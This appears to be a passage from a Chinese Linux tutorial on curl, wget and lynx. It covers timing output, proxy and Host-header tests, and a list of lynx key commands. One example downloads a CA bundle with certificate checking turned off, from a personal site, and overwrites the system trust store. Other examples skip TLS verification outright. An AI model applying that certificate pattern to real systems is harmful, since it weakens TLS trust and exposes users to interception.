# time_total: 完整耗时。

$ curl -L -s -w @fmt.txt -o /dev/null http://weiyigeek.top/
# Response Time for: http://weiyigeek.top/

# DNS Lookup Time:                0.127807s
# Redirection Time:               0.000000s
# Connection Time:                0.325320s
# App Connection Time:            0.000000s
# Pre-transfer Time:              0.325415s
# Start-transfer Time:            0.950616s

# Total Time:                     2.736576s

WeiyiGeek.响应码

示例12.curl和wget指定ssl ca证书,openwrt下curl使用mbedtls校验ssl要安装ca-bundle,wget使用libssl校验ssl要安装ca-certificates,索性单独下载ca证书文件

代码语言:javascript复制
# curl 和 wget 用配置文件指定ca证书
curl -k https://www.weiyigeek.top/cacert.pem -o /etc/ssl/certs/ca-certificates.crt
echo 'ca-certificate = /etc/ssl/certs/ca-certificates.crt' > ~/.wgetrc
echo 'cacert=/etc/ssl/certs/ca-certificates.crt' > ~/.curlrc

# curl 和 wget 不验证证书进行https请求
$ wget 'https://x.x.x.x/get_ips' --no-check-certificate
$ curl 'https://x.x.x.x/get_ips' -k

示例13.指定主机头测试Nginx虚拟主机的配置:

代码语言:javascript复制
curl https://104.154.30.67 -H 'Host:foo.bar.com' -k
  # CLIENT VALUES:
  # client_address=10.245.0.6
  # command=GET
  # real path=/
  # query=nil
  # request_version=1.1
  # request_uri=http://foo.bar.com:8080/

  # SERVER VALUES:
  # server_version=nginx: 1.9.11 - lua: 10001

  # HEADERS RECEIVED:
  # accept=*/*
  # connection=close
  # host=foo.bar.com
  # user-agent=curl/7.35.0
  # x-forwarded-for=10.245.0.1
  # x-forwarded-host=foo.bar.com
  # x-forwarded-proto=https

示例14.curl 命令如何使用代理下载资源

代码语言:javascript复制
# -x host:port
# -x [protocol://[user:pwd@]host[:port]
# --proxy [protocol://[user:pwd@]host[:port]
# 使用HTTP代理访问;如果未指定端口,默认使用8080端口;
# protocol默认为http_proxy,其他可能的值包括:http_proxy、HTTPS_PROXY、socks4、socks4a、socks5;
# 如:--proxy 8.8.8.8:8080;-x "http_proxy://user:password@weiyigeek.top:80"
curl -x 192.168.11.215:3128 -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

注意事项:curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用–silent选项

lynx 命令

lynx命令是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息,Linux发行版都没有默认安装,需要您自己下载;

yum install -y lynx

基础语法:

代码语言:javascript复制
lynx [选项] [参数]  # URL:指定要访问的网站的URL地址。
#选项:
-case:在搜索字符串时,区分大小写;
-ftp:关闭ftp功能;
-nobrowse:关闭目录浏览功能;
-noclor:关闭色彩显示模式;
-reload:更新代理服务器的缓存,只对首页有效;

#内部命令#
#移动命令
* 下方向键:页面上的下一个链接(用高亮度显示)。
* 上方向键:页面上的前一个链接(用高亮度显示)。
* 回车和右方向键:跳转到链接指向的地址。
* 左方向键:回到上一个页面。

#滚动命令
*  、Page-Down、Space、Ctrl f:向下翻页。
* -、Page-Up、b、Ctrl b:向上翻页。
* Ctrl a:移动到当前页的最前面。
* Ctrl e:移动到当前页的最后面。
* Ctrl n:向下翻两行。
* Ctrl p:往回翻两行。
* ):向下翻半页。
* (:往回翻半页。
* #:回到当前页的 Toolbar 或 Banner。


#文件操作命令
c:建立一个新文件。
d:下载选中的文件。
E:编辑选中的文件。
f:为当前文件显示一个选项菜单。
m:修改选中文件的名字或位置。
r:删除选中的文件。
t:Tag highlighted file。
u:上载一个文件到当前目录。

#其他命令
?、h:帮助。
a:把当前链接加入到一个书签文件里。
c:向页面的拥有者发送意见或建议。
d:下载当前链接。
e:编辑当前文件。
g:跳转到一个用户 指定的URL或文件。
G:编辑当前页的URL,并跳转到这个URL。
i:显示文档索引。
j:执行预先定义的“短”命令。
k:显示键盘命令列表。
l:列出当前页上所有链接的地址。
m:回到首页 。
o:设置选项。
p:把当前页输出到文件,e-mail,打印机或其他地方。
q:退出。
/:在当前页内查找字符串。
s:在外部搜索输入的字符串。
n:搜索下一个。
v:查看一个书签文件。
V:跳转到访问过的地址。
x:不使用缓存。
z:停止当前传输。
[backspace]:跳转到历史页(同 V 命令)。
=:显示当前页的信息。
:查看当前页的源代码。
!:回到shell提示符下。
_:清除当前任务的所有授权信息。
*:图形链接模式的切换开关。
@:8位传输模式或CJK模式的切换开关。
[:pseudo_inlines 模式的切换开关。
]:为当前页或当前链接发送一个“head”请求。
Ctrl r:重新装如当前页并且刷新屏幕。
Ctrl w:刷新屏幕。
Ctrl u:删除输入的行。
Ctrl g:取消输入或者传送。
Ctrl t:跟踪模式的切换开关。
;:看Lynx对当前任务的跟踪记录。
Ctrl k:调用 Cookie Jar 页。
数字键:到后面的第 n 个链接。

实际案例:

代码语言:javascript复制
lynx https://baidu.com

WeiyiGeek.lynx案例

0 人点赞